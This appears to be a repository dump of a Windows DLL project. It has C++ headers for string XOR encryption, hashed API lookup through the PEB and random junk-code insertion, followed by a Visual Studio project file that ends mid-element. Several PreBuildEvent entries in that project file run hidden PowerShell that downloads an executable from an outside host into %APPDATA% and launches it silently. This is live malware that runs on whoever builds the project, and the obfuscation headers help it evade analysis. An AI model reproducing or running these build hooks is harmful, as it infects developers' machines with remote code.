::li::detail::khash_impl( \
/* mostly-stable part so identical strings collide in the TU: */ \
__FILE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) \
/* build-level entropy: */ \
LAZY_IMPORTER_STRINGIZE_EXPAND(BUILD_SEED), \
/* mix constant keeps behaviour more complex */ \
0XBC735A /* A magic constant from the golden ratio */ ) )
namespace jm {
namespace detail {
template<std::size_t Size>
XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
{
return ((Size / 16) + (Size % 16 != 0)) * 2;
}
template<std::uint32_t Seed>
XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
{
std::uint32_t value = Seed ^ BUILD_SEED;
for (char c : __FUNCSIG__)
value = static_cast<std::uint32_t>((value ^ c) * 31ull);
return value;
}
template<std::size_t S>
XORSTR_FORCEINLINE constexpr std::uint64_t key8()
{
constexpr auto first_part = key4<76 + S>();
constexpr auto second_part = key4<first_part>();
return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
}
// loads up to 8 characters of string into uint64 and xors it with the key
template<std::size_t N, class CharT>
XORSTR_FORCEINLINE constexpr std::uint64_t
load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
{
using cast_type = typename std::make_unsigned<CharT>::type;
constexpr auto value_size = sizeof(CharT);
constexpr auto idx_offset = 8 / value_size;
std::uint64_t value = key;
for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
value ^=
(std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
<< ((i % idx_offset) * 8 * value_size));
return value;
}
// forces compiler to use registers instead of stuffing constants in rdata
XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
{
#if defined(__clang__) || defined(__GNUC__)
asm("" : "=r"(value) : "0"(value) : );
return value;
#else
volatile std::uint64_t reg = value;
return reg;
#endif
}
} // namespace detail
template<class CharT, std::size_t Size, class Keys, class Indices>
class xor_string;
template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
#else
constexpr static inline std::uint64_t alignment = 16;
#endif
alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
static constexpr std::uint64_t keys[sizeof...(Keys)] = { Keys... };
public:
using value_type = CharT;
using size_type = std::size_t;
using pointer = CharT*;
using const_pointer = const CharT*;
template<class L>
XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
: _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
{}
XORSTR_FORCEINLINE constexpr size_type size() const noexcept
{
return Size - 1;
}
XORSTR_FORCEINLINE void crypt() noexcept
{
((_storage[Indices] ^= keys[Indices]), ...);
}
XORSTR_FORCEINLINE const_pointer get() const noexcept
{
return reinterpret_cast<const_pointer>(_storage);
}
XORSTR_FORCEINLINE pointer get() noexcept
{
return reinterpret_cast<pointer>(_storage);
}
XORSTR_FORCEINLINE pointer crypt_get() noexcept
{
crypt();
return reinterpret_cast<pointer>(_storage);
}
};
template<class L, std::size_t Size, std::size_t... Indices>
xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
Size,
std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
std::index_sequence<Indices...>>;
} // namespace jm
namespace li {
namespace detail {
namespace win {
struct LIST_ENTRY_T {
const char* Flink;
const char* Blink;
};
struct UNICODE_STRING_T {
unsigned short Length;
unsigned short MaximumLength;
wchar_t* Buffer;
};
struct PEB_LDR_DATA_T {
unsigned long Length;
unsigned long Initialized;
const char* SsHandle;
LIST_ENTRY_T InLoadOrderModuleList;
};
struct PEB_T {
unsigned char Reserved1[2];
unsigned char BeingDebugged;
unsigned char Reserved2[1];
const char* Reserved3[2];
PEB_LDR_DATA_T* Ldr;
};
struct LDR_DATA_TABLE_ENTRY_T {
LIST_ENTRY_T InLoadOrderLinks;
LIST_ENTRY_T InMemoryOrderLinks;
LIST_ENTRY_T InInitializationOrderLinks;
const char* DllBase;
const char* EntryPoint;
union {
unsigned long SizeOfImage;
const char* _dummy;
};
UNICODE_STRING_T FullDllName;
UNICODE_STRING_T BaseDllName;
LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*
load_order_next() const noexcept
{
return reinterpret_cast<const LDR_DATA_TABLE_ENTRY_T*>(
InLoadOrderLinks.Flink);
}
};
struct IMAGE_DOS_HEADER { // DOS .EXE header
unsigned short e_magic; // Magic number
unsigned short e_cblp; // Bytes on last page of file
unsigned short e_cp; // Pages in file
unsigned short e_crlc; // Relocations
unsigned short e_cparhdr; // Size of header in paragraphs
unsigned short e_minalloc; // Minimum extra paragraphs needed
unsigned short e_maxalloc; // Maximum extra paragraphs needed
unsigned short e_ss; // Initial (relative) SS value
unsigned short e_sp; // Initial SP value
unsigned short e_csum; // Checksum
unsigned short e_ip; // Initial IP value
unsigned short e_cs; // Initial (relative) CS value
unsigned short e_lfarlc; // File address of relocation table
unsigned short e_ovno; // Overlay number
unsigned short e_res[4]; // Reserved words
unsigned short e_oemid; // OEM identifier (for e_oeminfo)
unsigned short e_oeminfo; // OEM information; e_oemid specific
unsigned short e_res2[10]; // Reserved words
long e_lfanew; // File address of new exe header
};
struct IMAGE_FILE_HEADER {
unsigned short Machine;
unsigned short NumberOfSections;
unsigned long TimeDateStamp;
unsigned long PointerToSymbolTable;
unsigned long NumberOfSymbols;
unsigned short SizeOfOptionalHeader;
unsigned short Characteristics;
};
struct IMAGE_EXPORT_DIRECTORY {
unsigned long Characteristics;
unsigned long TimeDateStamp;
unsigned short MajorVersion;
unsigned short MinorVersion;
unsigned long Name;
unsigned long Base;
unsigned long NumberOfFunctions;
unsigned long NumberOfNames;
unsigned long AddressOfFunctions; // RVA from base of image
unsigned long AddressOfNames; // RVA from base of image
unsigned long AddressOfNameOrdinals; // RVA from base of image
};
struct IMAGE_DATA_DIRECTORY {
unsigned long VirtualAddress;
unsigned long Size;
};
struct IMAGE_OPTIONAL_HEADER64 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long long SizeOfStackReserve;
unsigned long long SizeOfStackCommit;
unsigned long long SizeOfHeapReserve;
unsigned long long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_OPTIONAL_HEADER32 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long BaseOfData;
unsigned long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long SizeOfStackReserve;
unsigned long SizeOfStackCommit;
unsigned long SizeOfHeapReserve;
unsigned long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_NT_HEADERS {
unsigned long Signature;
IMAGE_FILE_HEADER FileHeader;
#ifdef _WIN64
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
#else
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
#endif
};
} // namespace win
struct forwarded_hashes {
unsigned module_hash;
unsigned function_hash;
};
// 64 bit integer where 32 bits are used for the hash offset
// and remaining 32 bits are used for the hash computed using it
using offset_hash_pair = unsigned long long;
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); }
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return static_cast<unsigned>(pair >> 32); }
template<bool CaseSensitive = LAZY_IMPORTER_CASE_SENSITIVITY>
LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept
{
return (value ^ static_cast<unsigned>((!CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) * 323;
}
LAZY_IMPORTER_FORCEINLINE constexpr unsigned
khash_impl(const char* str, unsigned value) noexcept
{
return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value);
}
LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(
const char* str, unsigned offset) noexcept
{
return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset));
}
template<class CharT = char>
LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept
{
unsigned value = offset;
for (;;) {
char c = *str++;
if (!c)
return value;
value = hash_single(value, c);
}
}
LAZY_IMPORTER_FORCEINLINE unsigned hash(
const win::UNICODE_STRING_T& str, unsigned offset) noexcept
{
auto first = str.Buffer;
const auto last = first + (str.Length / sizeof(wchar_t));
auto value = offset;
for (; first != last; ++first)
value = hash_single(value, static_cast<char>(*first));
return value;
}
// some helper functions
LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept
{
return reinterpret_cast<const win::PEB_T*>(__readgsqword(0x60));
}
LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()
{
return reinterpret_cast<const win::PEB_LDR_DATA_T*>(peb()->Ldr);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_NT_HEADERS*>(
base + reinterpret_cast<const win::IMAGE_DOS_HEADER*>(base)->e_lfanew);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress);
}
LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept
{
return reinterpret_cast<const win::LDR_DATA_TABLE_ENTRY_T*>(
ldr()->InLoadOrderModuleList.Flink);
}
struct exports_directory {
unsigned long _ied_size;
const char* _base;
const win::IMAGE_EXPORT_DIRECTORY* _ied;
public:
using size_type = unsigned long;
LAZY_IMPORTER_FORCEINLINE
exports_directory(const char* base) noexcept : _base(base)
{
const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0];
_ied = reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + ied_data_dir.VirtualAddress);
_ied_size = ied_data_dir.Size;
}
LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept
{
return reinterpret_cast<const char*>(_ied) != _base;
}
LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept
{
return _ied->NumberOfNames;
}
LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; }
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept
{
return _ied;
}
LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept
{
return _base + reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfNames)[index];
}
LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept
{
const auto* const rva_table =
reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfFunctions);
const auto* const ord_table = reinterpret_cast<const unsigned short*>(
_base + _ied->AddressOfNameOrdinals);
return _base + rva_table[ord_table[index]];
}
LAZY_IMPORTER_FORCEINLINE bool is_forwarded(
const char* export_address) const noexcept
{
const auto ui_ied = reinterpret_cast<const char*>(_ied);
return (export_address > ui_ied && export_address < ui_ied + _ied_size);
}
};
struct safe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T;
value_type* value;
value_type* head;
LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept
: safe_module_enumerator(ldr_data_entry())
{}
LAZY_IMPORTER_FORCEINLINE
safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept
: value(ldr->load_order_next()), head(value)
{}
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return value != head && value->DllBase;
}
};
struct unsafe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*;
value_type value;
LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept
: value(ldr_data_entry())
{}
LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); }
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return true;
}
};
// provides the cached functions which use Derive classes methods
template<class Derived, class DefaultType = void*>
class lazy_base {
protected:
// This function is needed because every templated function
// with different args has its own static buffer
LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept
{
static void* value = nullptr;
return value;
}
public:
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe() noexcept
{
return Derived::template get<T, safe_module_enumerator>();
}
template<class T = DefaultType, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T cached() noexcept
{
auto& cached = _cache();
if (!cached)
cached = Derived::template get<void*, Enum>();
return (T)(cached);
}
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept
{
return cached<T, safe_module_enumerator>();
}
};
template<offset_hash_pair OHP>
struct lazy_module : lazy_base<lazy_module<OHP>> {
template<class T = void*, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T get() noexcept
{
Enum e;
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
template<class T = void*, class Ldr>
LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept
{
safe_module_enumerator e(reinterpret_cast<const detail::win::LDR_DATA_TABLE_ENTRY_T*>(ldr));
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
};
template<offset_hash_pair OHP, class T>
struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {
using base_type = lazy_base<lazy_function<OHP, T>, T>;
template<class... Args>
LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const
{
#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS
return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#else
return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#endif
}
template<class F = T, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static F get() noexcept
{
// for backwards compatability.
// Before 2.0 it was only possible to resolve forwarded exports when
// this macro was enabled
#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
return forwarded<F, Enum>();
#else
Enum e;
do {
#ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS
if (!e.value->DllBase || !e.value->FullDllName.Length)
continue;
#endif
const exports_directory exports(e.value->DllBase);
if (exports) {
auto export_index = exports.size();
while (export_index--)
if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP))
return (F)(exports.address(export_index));
}
} while (e.next());
return {};
#endif
}
};
}
}
+135
View File
@@ -0,0 +1,135 @@

#include <cmath>
#include <limits>
struct poly {
private:
// common types
typedef unsigned long long ull;
typedef unsigned int ui;
// arithmetic simplification functions
static constexpr ull sq(ull x) { return x * x; }
static constexpr ull sm(ull x) { return sq(x) + x; }
static constexpr ull sh(ull x) { return (x >> 32) | (x << 32); }
public:
// normal prng's are hard to use here, since we can't easily modify our state
// we need to use a counter-based rng, to use __COUNTER__ as our state instead
// https://en.wikipedia.org/wiki/Counter-based_random_number_generator_(CBRNG)
// we use Widynski's Squares method to achieve this: https://arxiv.org/abs/2004.06278
static constexpr ui Widynski_Squares(ull count, ull seed) {
unsigned long long cs = (count + 1) * seed;
return (sq(sh(sq(sh(sm(cs))) + cs + seed)) + cs) >> 32;
}
// we use Box-Muller as our method to obtain a normal distribution
// we add the lowest positive double value to prevent log(0) from being run
inline double BoxMuller(double a, double b, double sigma, double mu) {
constexpr double M_PI = 3.14159265358979323846;
constexpr double e = 2.2250738585072014e-308; // smallest positive double
return sqrt(-2.0 * log(a + e)) * cos(2.0 * M_PI * b) * sigma + mu;
}
// we define our seed based off of the __DATE__ and __TIME__ macros
// this allows us to have different compile-time seed values
static constexpr ull Day =
(__DATE__[5] - '0') +
(__DATE__[4] == ' ' ? 0 : __DATE__[4] - '0') * 10;
static constexpr ull Month =
(__DATE__[1] == 'a' && __DATE__[2] == 'n') * 1 +
(__DATE__[2] == 'b') * 2 +
(__DATE__[1] == 'a' && __DATE__[2] == 'r') * 3 +
(__DATE__[1] == 'p' && __DATE__[2] == 'r') * 4 +
(__DATE__[2] == 'y') * 5 +
(__DATE__[1] == 'u' && __DATE__[2] == 'n') * 6 +
(__DATE__[2] == 'l') * 7 +
(__DATE__[2] == 'g') * 8 +
(__DATE__[2] == 'p') * 9 +
(__DATE__[2] == 't') * 10 +
(__DATE__[2] == 'v') * 11 +
(__DATE__[2] == 'c') * 12;
static constexpr ull Year =
(__DATE__[9] - '0') +
(__DATE__[10] - '0') * 10;
static constexpr ull Time =
(__TIME__[0] - '0') * 1 +
(__TIME__[1] - '0') * 10 +
(__TIME__[3] - '0') * 100 +
(__TIME__[4] - '0') * 1000 +
(__TIME__[6] - '0') * 10000 +
(__TIME__[7] - '0') * 100000;
#ifndef __POLY_RANDOM_SEED__
static constexpr ull Seed =
Time +
100000ll * Day +
10000000ll * Month +
1000000000ll * Year;
#else
static constexpr ull Seed = __POLY_RANDOM_SEED__;
#endif
};
// =====================
// POLYMORPHIC FUNCTIONS
// =====================
// various random types
#define poly_uint() (poly::Widynski_Squares(__COUNTER__, poly::Seed))
#define poly_int() ((int)poly_uint())
#define poly_ull() (((unsigned long long)poly_int() << 32) ^ poly_int())
#define poly_ll() ((long long)poly_ull())
#define poly_float() (static_cast<float>(poly_uint()) / static_cast<float>(UINT_MAX))
#define poly_double() (static_cast<double>(poly_ull()) / static_cast<double>(ULLONG_MAX))
// random number modulo max
#define poly_random(max) (poly_uint() % max)
// random no-ops, inserts junk code
#define poly_junk() { \
int chance = poly_random(21); \
if (chance == 0) { volatile int value = poly_random(10000); } \
if (chance == 1) { volatile float value = poly_random(1000); } \
if (chance == 2) { volatile double value = poly_random(1000); } \
if (chance == 3) { volatile char value = poly_random(100000); } \
if (chance == 4) { volatile int v[4] = {poly_random(1000), poly_random(1000), poly_random(1000), poly_random(1000)}; } \
if (chance == 5) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] + v[2]; } \
if (chance == 6) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] * v[2]; } \
if (chance == 7) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] | v[2]; } \
if (chance == 8) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] ^ v[2]; } \
if (chance == 9) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] & v[2]; } \
if (chance == 10) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] - v[2]; } \
if (chance == 11) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] / (v[2] + 1); } \
if (chance == 12) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[2] % (v[1] + 1); } \
if (chance == 13) { volatile int v1 = poly_random(10000), v2 = v1 + poly_random(10000); } \
if (chance == 14) { volatile int v1 = poly_random(10000), v2 = v1 * poly_random(10000); } \
if (chance == 15) { volatile int v1 = poly_random(10000), v2 = v1 | poly_random(10000); } \
if (chance == 16) { volatile int v1 = poly_random(10000), v2 = v1 ^ poly_random(10000); } \
if (chance == 17) { volatile int v1 = poly_random(10000), v2 = v1 & poly_random(10000); } \
if (chance == 18) { volatile int v1 = poly_random(10000), v2 = v1 - poly_random(10000); } \
if (chance == 19) { volatile int v1 = poly_random(10000), v2 = v1 / (poly_random(10000) + 1); } \
if (chance == 20) { volatile int v1 = poly_random(10000), v2 = v1 % (poly_random(10000) + 1); } \
}
// random order of operations for two functions
#define poly_random_order(f1,f2) { \
int chance = poly_random(2); \
if (chance == 0) { f1; f2; } \
else { f2; f1; } \
}
// every `c` calls, on average the function `f` will only get executed once
#define poly_random_chance(c,f) { \
int chance = poly_random(c); \
if (chance == 0) { f; } \
}
// random normal distribution
#define poly_normal(sigma,mu) (poly::BoxMuller(poly_double(),poly_double(),sigma,mu))
+544
View File
@@ -0,0 +1,544 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{7aff7602-ea96-484f-a8a5-4c9d68022925}</ProjectGuid>
<RootNamespace>Plds</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>Plds</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<LanguageStandard>stdcpp20</LanguageStandard>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<TargetName>wer</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;TESTDLLMESSAGEBOX_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=JOSBf2fDaTKZmCIop7LMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MbTeY4wTlnhlVbNmIDLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=0GTls3ZELXLnKLrXDsLCW010.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
